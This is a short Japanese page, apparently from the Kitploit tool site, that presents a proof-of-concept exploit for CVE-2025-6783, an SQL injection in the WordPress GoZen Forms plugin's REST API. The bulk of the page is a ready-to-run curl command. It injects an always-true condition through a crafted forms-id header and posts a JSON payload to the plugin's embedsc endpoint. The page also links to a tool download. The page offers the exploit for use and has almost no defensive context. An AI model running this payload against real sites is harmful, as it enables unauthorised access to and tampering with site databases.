CVE-2025-6783 — CVE-2025-6783の概念実証エクスプロイト：WordPress GoZen Forms REST APIエンドポイントに対する、巧妙に作成されたHTTPヘッダーとJSONペイロードを介したSQLインジェクションを実証します。 | Kitploit

WHERE句に常に真となる条件を注入し、全ての行が一致するようにします:

curl -i -X POST \
  -H "Content-Type: application/json" \
  -H "forms-id: poc-001' OR '1'='1' -- " \
  -H "domain-id: example.com" \
  -d '{
        "emabed_type":"iframe",
        "shortcode_title":"INJECTED",
        "shortcode_tag":"[xss]",
        "active":0
      }' \
  "http://your-site.com/index.php?rest_route=/gozen-forms/v1/embedsc"

ツールをダウンロード

CVE-2025-6783

人気